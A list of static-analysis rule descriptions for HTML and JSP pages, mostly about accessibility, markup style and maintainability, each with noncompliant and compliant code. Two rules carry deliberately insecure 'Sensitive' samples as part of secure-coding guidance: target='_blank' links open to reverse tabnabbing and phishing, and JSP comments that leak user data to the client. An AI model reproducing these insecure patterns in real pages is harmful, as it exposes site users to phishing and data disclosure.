When links with different targets are given identical link text, this can produce confusion for users of assistive technologies, some of which provide users the ability to view a list of all links on the page. When this list of links is presented to the user they may be left not knowing the links go to different destinations. Even if they do realize the links go to different destinations, they may be left not knowing which link to follow to go to the destination they desire. Noncompliant Code Example<a href="a.html">qux</a> <a href="b.html">qux</a> <!-- Noncompliant; same text, different targets --> <a href="c.html">foo</a> <a href="d.html">foo</a> <!-- Noncompliant; same text, different targets --> Compliant Solution<a href="a.html">qux</a> <a href="b.html">qaz</a> <!-- Compliant; different text, different targets --> <a href="c.html">foo</a> <a href="c.html">foo</a> <!-- Compliant; same text, same targets --> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:LongJavaScriptCheck |
Long pieces of JavaScript should be located in dedicated *.js source files. This makes maintenance of both the script and the pages that use it easier. Additionally, it offers some efficiencies in serving the files, since it takes better advantage of browser caching to only re-serve the parts of a web page that have actually changed. Noncompliant Code ExampleWith the default parameter value of 5: <head> ... <script type="text/javascript" language="JavaScript"> <!-- Noncompliant --> function doTheThing(arg1) { ... ... } function doTheOtherThing(arg1) { ... } function andSoOn() { ... } </script> </head> Compliant Solution<head> ... <script type="text/javascript" language="JavaScript" src="myLongScript.js"> </script> </head> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:MultiplePageDirectivesCheck |
While you can use as many The exception to this rule is when multiple packages are being imported. In that case, imports may be done in separate directives and all other attributes should be set in a single, additional directive. Noncompliant Code Example<%@ page session="false" %> <%@ page import="java.util.*" %> <%@ page errorPage="error.jsp" %> <!-- Noncompliant --> <%@ page import="java.text.*" %> Compliant Solution<%@ page session="false" errorPage="error.jsp" %> <%@ page import="java.util.*" %> <%@ page import="java.text.*" %> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:ComplexityCheck |
Most of the time, a very complex file breaks the Single Responsibility Principle and should be re-factored into several different files. DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S1829 |
It is considered best-practice to use relative URLs in web pages to prevent having to update the addresses if the web address in use changes. Moreover, if some absolute URLs are missed in such a process, it will obviously impact the user experience. Noncompliant Code Example<img src="http://www.myserver.com/smiley.gif" alt="Smiley face" height="42" width="42" /> Compliant Solution<img src="smiley.gif" alt="Smiley face" height="42" width="42" /> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:InlineStyleCheck |
The goal of this rule is to ban the usage of HTML "style" property to make sure that all CSS styles are defined in CSS classes. Consolidating all styling into classes makes it easier to read, understand and maintain. Noncompliant Code Example<body> <h1 style="color: blue;">Hello World!</h1> <!-- Noncompliant --> Compliant Solution<head> <style> h1 { color: blue; } </style> </head> <body> <h1>Hello World!</h1> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:ImgWithoutAltCheck |
The It is used whenever the actual image cannot be rendered. Common reasons for that include:
It is also very important to not set an This rule raises an issue when
Noncompliant Code Example<img src="foo.png" /> <!-- Noncompliant --> <input type="image" src="bar.png" /> <!-- Noncompliant --> <input type="image" src="bar.png" alt="" /> <!-- Noncompliant --> <img src="house.gif" usemap="#map1" alt="rooms of the house." /> <map id="map1" name="map1"> <area shape="rect" coords="0,0,42,42" href="bedroom.html"/> <!-- Noncompliant --> <area shape="rect" coords="0,0,21,21" href="lounge.html" alt=""/> <!-- Noncompliant --> </map> Compliant Solution<img src="foo.png" alt="Some textual description of foo.png" /> <input type="image" src="bar.png" alt="Textual description of bar.png" /> <img src="house.gif" usemap="#map1" alt="rooms of the house." /> <map id="map1" name="map1"> <area shape="rect" coords="0,0,42,42" href="bedroom.html" alt="Bedroom" /> <area shape="rect" coords="0,0,21,21" href="lounge.html" alt="Lounge"/> </map> Exceptions
When the image is decorative and it is not possible to use a CSS background image. For example, when the decorative <li *ngFor="let image of images"> <img [src]="image" alt=""> </li> When the image is not decorative but it's <a href="flowers.html"> <img src="tulip.gif" alt="" /> A blooming tulip </a> In all other cases you should use CSS background images. See W3C WAI Web Accessibility Tutorials for more information. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:NonConsecutiveHeadingCheck |
Heading tags are used by search engines and screen reader softwares to construct an outline of the page. Starting at Noncompliant Code Example<h2>My Title</h2> <!-- Non-Compliant - h1 is not being used --> <h3>My Sub Title</h3> <!-- Compliant --> Compliant Solution<h1>My Title</h1> <!-- Compliant --> <h2>My Sub Title</h2> <!-- Compliant --> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:ChildElementIllegalCheck |
This rule checks that the specified child tag does not appear as a direct child of the specified parent. Noncompliant Code ExampleAssuming a parent/child combination of <head> ... <body> <!-- Noncompliant --> ... </body> </head> Compliant Solution<head> ... </head> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:TableHeaderHasIdOrScopeCheck |
Associating There are two ways of doing it:
It is recommended to add Note that complex tables can often be split into multiple smaller tables, which improves the user experience. This rule raises an issue when a Noncompliant Code Example<table border="1"> <caption>Contact Information</caption> <tr> <td></td> <th>Name</th> <!-- Non-Compliant --> <th>Phone#</th> <!-- Non-Compliant --> <th>City</th> <!-- Non-Compliant --> </tr> <tr> <td>1.</td> <th>Joel Garner</th> <!-- Non-Compliant --> <td>412-212-5421</td> <td>Pittsburgh</td> </tr> <tr> <td>2.</td> <th>Clive Lloyd</th> <!-- Non-Compliant --> <td>410-306-1420</td> <td>Baltimore</td> </tr> </table> Compliant Solution<table border="1"> <caption>Contact Information</caption> <tr> <td></td> <th scope="col">Name</th> <!-- Compliant --> <th scope="col">Phone#</th> <!-- Compliant --> <th scope="col">City</th> <!-- Compliant --> </tr> <tr> <td>1.</td> <th scope="row">Joel Garner</th> <!-- Compliant --> <td>412-212-5421</td> <td>Pittsburgh</td> </tr> <tr> <td>2.</td> <th scope="row">Clive Lloyd</th> <!-- Compliant --> <td>410-306-1420</td> <td>Baltimore</td> </tr> </table> or: <table border="1"> <caption>Contact Information</caption> <tr> <td></td> <th id="name">Name</th> <!-- Compliant --> <th id="phone">Phone#</th> <!-- Compliant --> <th id="city">City</th> <!-- Compliant --> </tr> <tr> <td>1.</td> <th id="person1" headers="name">Joel Garner</th> <!-- Compliant --> <td headers="phone person1">412-212-5421</td> <td headers="city person1">Pittsburgh</td> </tr> <tr> <td>2.</td> <th id="person2" headers="name">Clive Lloyd</th> <!-- Compliant --> <td headers="phone person2">410-306-1420</td> <td headers="city person2">Baltimore</td> </tr> </table> See* WCAG2, 1.3.1 - Info and Relationships
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:ParentElementIllegalCheck |
Checker for illegal parent element. E.g.: title must not have parent element body. DeprecatedThis rule is deprecated; use S1931 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:LinkToNothingCheck |
There are two ways to build a link that has the sole purpose of running JavaScript code. The goal of this rule is to ban such patterns in order to support browsing with JavaScript disabled. Noncompliant Code Example<a href="#" onclick="alert('Clicked!'); return false;">Run JavaScript Code</a> <!-- Noncompliant --> <a href="javascript:void(0)" onclick="alert('Clicked!'); return false;">Run JavaScript Code</a> <!-- Noncompliant --> <a id="inPageAnchor">Jump down the page to me</a> <!-- Compliant --> Compliant Solution<a id="inPageAnchor">Jump down the page to me</a> <!-- Compliant --> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S1436 |
This rule allows you to make sure that each HTML page contains an element with your configured ID, regardless of element type. This rule is useful, for instance, if your design requires a placeholder to be present in each page, for example to dynamically insert a footer. Compliant SolutionWith a required id of "#footer": <div id="#footer"> ... </div> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:HeaderCheck |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:MouseEventWithoutKeyboardEquivalentCheck |
Offering the same experience with the mouse and the keyboard allow users to pick their preferred devices. Additionally, users of assistive technology will also be able to browse the site even if they cannot use the mouse. This rule raises an issue when:
Note that in the case of Noncompliant Code Example<div onClick="doSomething();" ...> <!-- Noncompliant - 'onKeyDown/onKeyUp/onKeyPress' missing --> <a onMouseover="doSomething();" ...> <!-- Noncompliant - 'onFocus' missing --> <a onMouseout="doSomething();" ...> <!-- Noncompliant - 'onBlur' missing --> Compliant SolutionNote that setting the <div onClick="doSomething();" onKeyDown="doSomething();" tabindex="0" ...> <!-- Compliant --> <a onMouseover="doSomething();" onFocus="doSomething();" ...> <!-- Compliant --> <a onMouseout="doSomething();" onBlur="doSomething();" ...> <!-- Compliant --> ExceptionsFor the following elements, pressing a key will trigger the An issue will still be raised for elements with the
See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:MetaRefreshCheck |
Use of If a user clicks the 'Back' button, some browers will go back to the redirecting page, which will prevent the user from actually going back. To refresh the page, a better alternative is to use Ajax, to refresh only what needs to be refreshed and not the whole page. To redirect to another page, using the HTTP response status code 301 'Moved Permanently' and 302 'Found' is a better option. Noncompliant Code Example<head> <meta http-equiv="refresh" content="5"> <!-- Non-Compliant --> <meta name="description" content="..."> </head> Compliant Solution<head> <meta name="description" content="..."> </head> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S5260 |
If a Note that it is usually better to use If your table is too complex, it might be better to split it into multiple small tables as it improves both readability and maintainability. This rule raises an issue when the Noncompliant Code Example<table border="1"> <caption> Rental price </caption> <thead> <tr> <td></td> <th id="small" scope="col"> Small car </th> <th id="big" scope="col"> Big Car </th> </tr> </thead> <tbody> <tr> <th id="paris" class="span" colspan="3" scope="colgroup"> Paris </th> </tr> <tr> <th headers="paris" id="day1"> 1 day </th> <td headers="paris day1 big"> <!-- Noncompliant, referencing the column "big" instead of "small" --> 11 euros </td> <td headers="berlin day1 big"> <!-- Noncompliant, there is no header with id "berlin" --> 50 euros </td> </tr> </tr> </tbody> </table> ExceptionsNo issue will be raised if the See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S5264 |
Assistive technologies, such as screen readers, will not be able to render This rule raises an issue when an Noncompliant Code Example<object></object> <!-- Noncompliant --> <object> <object></object> <!-- Noncompliant --> </object> Compliant Solution<object>This application shows the simulation of two particles colliding</object> <object> <img src="flower.png" alt="Flower growing in a pot" /> </object> <object> <object> This application shows the simulation of two particles colliding </object> </object> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:AvoidCommentedOutCodeCheck |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:DynamicJspIncludeCheck |
Content that doesn't change or that doesn't change often should be included using a mechanism which won't try to interpret it. Specifically,
Noncompliant Code Example<jsp:include page="header.jsp"> <!-- Noncompliant --> Compliant Solution<%@ include file="header.jsp" %> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:BoldAndItalicTagsCheck |
The While
Consequently:
Noncompliant Code Example<i>car</i> <!-- Noncompliant --> <b>train</b> <!-- Noncompliant --> Compliant Solution<em>car</em> <strong>train</strong> ExceptionsThis rule is relaxed in case of icon fonts usage. <i class="..." aria-hidden="true" /> <!-- Compliant icon fonts usage --> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:IllegalTagLibsCheck |
This rule checks that the disallowed tag libraries are not used. Noncompliant Code ExampleUsing the default parameter for this rule, "http://java.sun.com/jstl/sql": <%@ taglib uri="http://java.sun.com/jstl/sql" prefix="prefixOfTag" > <!-- Noncompliant --> <jsp:directive.taglib uri="http://java.sun.com/jstl/sql" prefix="prefixOfTag" /> <!-- Noncompliant --> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:ParentElementRequiredCheck |
This rule checks that required HTML parent elements are present for certain child elements. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S1827 |
With the advent of HTML5, many old attributes were deprecated. To ensure the best user experience, deprecated attributes should not be used. This rule checks for the following deprecated attributes, where CSS should be used instead. Attributes
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:FileLengthCheck |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S5148 |
When a link opens a URL in a new tab with Imagine a link posted on a comment of a popular web site (say: http://petssocialnetwork.io/) that opens a new tab that changes the URL of the original page to http://petssocialnetwork-pishing.io/. On "http://petssocialnetwork-pishing.io/" you land at a fake login page similar to the one at "http://petssocialnetwork.io/" but controlled by the hacker and asking the user to log in again, pretending that the session just timed-out. To prevent pages from abusing In Chrome 88+, Firefox 79+ or Safari 12.1+ Ask Yourself Whether
There is a risk if you answered yes to all of those questions. Recommended Secure Coding Practices
Sensitive Code Example<a href="http://dangerouswebsite.com" target="_blank"> <!-- Sensitive; "window.opener" may not null on the new tab/window and could be changed by http://dangerouswebsite.com --> <a href="{{variable}}" target="_blank"> <!-- Sensitive --> Compliant Solution<a href="http://dangerouswebsite.com" target="_blank" rel="noopener"> <!-- Compliant --> ExceptionsNo Issue will be raised when <a href="internal.html" target="_blank" > <!-- Compliant --> See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:TableWithoutCaptionCheck |
In order to be accessible to visually impaired users, it is important that tables provides a description of its content before the data is accessed. The simplest way to do it, and also the one recommended by WCAG2 is to add a
Other technics this rule accepts are:
See W3C WAI Web Accessibility Tutorials for more information. This rule raises an issue when a Noncompliant Code Example<table> <!-- Noncompliant --> ... <table> Compliant SolutionAdding a <table> <caption>New York City Marathon Results 2013</caption> ... </table> Adding an <p id="mydesc">New York City Marathon Results 2013</p> <table aria-describedby="mydesc"> ... </table> Embedding the table in a <figure> <figcaption>New York City Marathon Results 2013</figcaption> <table> ... </table> </figure> Adding a <table summary="New York City Marathon Results 2013"> ... </table> ExceptionsNo issue will be raised on No issue will be raised either on See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:UnsupportedTagsInHtml5Check |
With the advent of HTML5, many old elements were deprecated. To ensure the best user experience, deprecated elements should not be used. This rule checks for the following deprecated elements:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:DoubleQuotesCheck |
Checker to find use of single quote where double quote is preferred. Noncompliant Code Example<div id='header'></div> Compliant Solution<div id="header"></div> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:WhiteSpaceAroundCheck |
The proper use of white space makes a major contribution to code readability. This rule raises an issue when there is not a space character after the beginning and before the end of each comment ( Noncompliant Code Example<!--Do the thing--> <!-- Noncompliant; missing space at beginning and end of text--> <%@page import="java.io.*,java.util.*" %> <!-- Noncompliant; missing space at beginning --> <% String title = "My Page";%> <!-- Noncompliant; missing space at end --> Compliant Solution<!-- Do the thing --> <%@ page import="java.io.*,java.util.*" %> <% String title = "My Page"; %> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:DoctypePresenceCheck |
The Validators also rely on it to know which rules to enforce. It should always preceed the Noncompliant Code Example<html> <!-- Noncompliant --> ... </html> Compliant Solution<!DOCTYPE html> <html> <!-- Compliant --> ... </html> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:IllegalElementCheck |
This rule checks that the specified HTML elements are not present. Noncompliant Code ExampleFor a disallowed list of "font,center": <center><font color="red">Hello World!</font></center> <!-- Noncompliant --> Compliant Solution<div class="centerRed">Hello World!</div> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S4084 |
In order to make your site usable by as many people as possible, subtitles should be provided for videos. This rule raises an issue when a Note that the Noncompliant Code Example<video id="video" controls preload="metadata"> <source src="resources/myvideo.mp4" type="video/mp4"> <source src="resources/myvideo.webm" type="video/webm"> </video> Compliant Solution<video id="video" controls preload="metadata"> <source src="resources/myvideo.mp4" type="video/mp4"> <source src="resources/myvideo.webm" type="video/webm"> <track label="English" kind="captions" srclang="en" src="resources/myvideo-en.vtt" default> <track label="Deutsch" kind="captions" srclang="de" src="resources/myvideo-de.vtt"> <track label="Español" kind="captions" srclang="es" src="resources/myvideo-es.vtt"> </video> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:ServerSideImageMapsCheck |
The For any person who cannot use a mouse, this form of navigation is inaccessible because it is the position of the cursor on the image that determines the action. On the other hand, client-side image maps, which use the Further, in terms of separation of concerns, it is definitely better to leave the task of mapping pixels to links to the client. Noncompliant Code Example<a href="click_on_world_map.php" target="_self"> <img src="world_map.png" ismap> <!-- Noncompliant --> </a> Compliant Solution<img src="world_map.png" usemap="#world_map"> <map name="world_map"> <area shape="rect" coords="0,0,10,10" href="france.html" alt="France"> <area shape="circle" coords="20,20,10" href="spain.html" alt="Spain"> <area shape="circle" coords="30,30,8" href="england.html" alt="England"> <!-- ... --> </map> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S5254 |
The It enables assistive technologies, such as screen readers, to provide a comfortable reading experience by adapting the pronunciation and accent to the language. It also helps braille translation software, telling it to switch the control codes for accented characters for instance. Other benefits of marking the language include:
Both the
Noncompliant Code Example<!DOCTYPE html> <html> <!-- Noncompliant --> <head> <title>A page written in english</title> <meta content="text/html; charset=utf-8" /> </head> <body> ... </body> </html> Compliant Solution<!DOCTYPE html> <html lang="en"> <head> <title>A page written in english</title> <meta content="text/html; charset=utf-8" /> </head> <body> ... </body> </html> <!DOCTYPE html> <html lang="en" xml:lang="en"> <head> <title>A page written in english</title> <meta content="text/html; charset=utf-8" /> </head> <body> ... </body> </html> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:AvoidHtmlCommentCheck |
Using HTML-style comments in a page that will be generated or interpolated server-side before being served to the user increases the risk of exposing data that should be kept private. For instance, a developer comment or line of debugging information that's left in a page could easily (and has) inadvertently expose:
Every other language has its own native comment format, thus there is no justification for using HTML-style comments in anything other than a pure HTML or XML file. Ask Yourself Whether
Recommended Secure Coding PracticesIt is recommended to remove the comment or change its style so that it is not output to the client. Sensitive Code Example<% out.write("<!-- ${username} -->"); // Sensitive %> <!-- <% out.write(userId) %> --> // Sensitive <!-- #{userPhone} --> // Sensitive <!-- ${userAddress} --> // Sensitive <!-- Replace 'world' with name --> // Sensitive <h2>Hello world!</h2> Compliant Solution<%-- Replace 'world' with name --%> // Compliant <h2>Hello world!</h2> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:ChildElementRequiredCheck |
This rule checks that the specified child elements are present inside the specified parent elements. Noncompliant Code ExampleGiven a parent/child combination of <html> <head> </head> <!-- Noncompliant; no title element --> <body> ... Compliant Solution<html> <head> <title>My Page</title> </head> <body> ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:RequiredAttributeCheck |
This rule checks that the specified attributes are present in HTML tags. Noncompliant Code ExampleGiven a required attribute list of: <img src="/images/queen.png"> <!-- Noncompliant; missing all required attributes --> Compliant Solution<img src="/images/queen.png" width="60" height="85" alt="Elizabeth II"> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:MaxLineLengthCheck |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:UnclosedTagCheck |
Even if all browsers are fault-tolerant, HTML tags should be closed to prevent any unexpected behavior. Noncompliant Code Example<html> <head> <title>Test Page <!-- Noncompliant; title not closed --> <!-- Noncompliant; head not closed --> <body> <em>Emphasized Text <!-- Noncompliant; em not closed --> <!-- Noncompliant; body not closed --> </html> Compliant Solution<html> <head> <title>Test Page</title> </head> <body> <em>Emphasized Text</em> </body> </html> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:FrameWithoutTitleCheck |
Frames allow different web pages to be put together on the same visual space. Users without disabilities can easily scan the contents of all frames at once. However, visually impaired users using screen readers hear the page content linearly. The Noncompliant Code Example<frame src="index.php?p=menu"> <-- Non-Compliant --> <frame src="index.php?p=home" name="contents"> <-- Non-Compliant --> Compliant Solution<frame src="index.php?p=menu" title="Navigation menu"> <-- Compliant --> <frame src="index.php?p=home" title="Main content" name="contents"> <-- Compliant --> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:PageWithoutTitleCheck |
Titles are important because they are displayed in search engine results as well as the browser's toolbar. This rule verifies that the Noncompliant Code Example<html> <!-- Non-Compliant --> <body> ... </body> </html> Compliant Solution<html> <!-- Compliant --> <head> <title>Some relevant title</title> </head> <body> ... </body> </html> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S5257 |
HTML <table> elements should not be used for layout purpose as it can confuse screen readers. It is recommended to use CSS instead. This rule raises an issue on every Noncompliant Code Example<table role="presentation"> <!-- ... --> </table> See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S5258 |
Tables used for layout should not include semantic markup, such as This rule raises an issue when a
Noncompliant Code Example<table role="presentation" summary="bla"> <!-- Noncompliant --> <caption>People</caption> <!-- Noncompliant --> <tr> <td></td> <th>Name</th> <!-- Noncompliant --> <th id="myid1">Age</th> <!-- Noncompliant --> </tr> <tr> <td scope="row">1</td> <!-- Noncompliant --> <td>John Doe</td> <td>24</td> </tr> <tr> <td id="myid2">2</td> <td headers="myid1 myid2">Alice Doe</td> <!-- Noncompliant --> <td>54</td> </tr> </table> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S5255 |
If a page contains multiple Landmark roles are: The use of ARIA markup helps users of screen readers navigate across blocks of content. For example it makes groups of links easier to locate or skip. Noncompliant Code ExampleMultiple <nav> <!-- Noncompliant --> <ul> <li>A list of navigation links</li> </ul> </nav> <article> <nav> <!-- Noncompliant --> Another list of navigation links </nav> </article> Repeated "landmark" role <div id="mainnav" role="navigation"> <!-- Noncompliant --> <h2 id="mainnavheading">Site Navigation</h2> <ul> <li>List of links</li> </ul> </div> <div id="secondarynav" role="navigation"> <!-- Noncompliant --> <h2 id="secondarynavheading">Related links</h2> <ul> <li>List of links</li> </ul> </div> Compliant Solution<nav aria-label="Site menu"> <ul> <li>A list of navigation links</li> </ul> </nav> <article> <nav aria-label="Related links"> Another list of navigation links </nav> </article> <div id="mainnav" role="navigation" aria-labelledby="mainnavheading"> <h2 id="mainnavheading">Site Navigation</h2> <ul> <li>List of links</li> </ul> </div> <div id="secondarynav" role="navigation" aria-labelledby="secondarynavheading"> <h2 id="secondarynavheading">Related links</h2> <ul> <li>List of links</li> </ul> </div> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S5256 |
Assistive technologies, such as screen readers, use Headers should be properly associated with the corresponding This rule raises an issue whenever a Noncompliant Code Example<table> <!-- Noncompliant --> <tr> <td>Name</td> <td>Age</td> </tr> <tr> <td>John Doe</td> <td>24</td> </tr> <tr> <td>Alice Doe</td> <td>54</td> </tr> </table> Compliant Solution<table> <tr> <th scope="col">Name</th> <th scope="col">Age</th> </tr> <tr> <td>John Doe</td> <td>24</td> </tr> <tr> <td>Alice Doe</td> <td>54</td> </tr> </table> ExceptionsNo issue will be raised on <table> used for layout purpose, i.e. when it contains a No issue will be raised on <table> containing an See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S4645 |
When parsing a script node, the browser treats its contents as plain text, and immediately finishes parsing when it finds the first closing
As a consequence, nested script nodes are not possible, because all opening Web browsers doesn't support nested Noncompliant Code Example<script type="text/template"> <div> Hello! </div> <script type="text/javascript"> <!-- Noncompliant --> alert("Hi!"); </script> </script> Compliant Solution<script type="text/javascript"> alert("Hi!"); </script> <script type="text/template"> <div> Hello! </div> </script> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Exampleint divide(int numerator, int denominator) { return numerator / denominator; // FIXME denominator value might be 0 } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:IllegalNamespaceCheck |
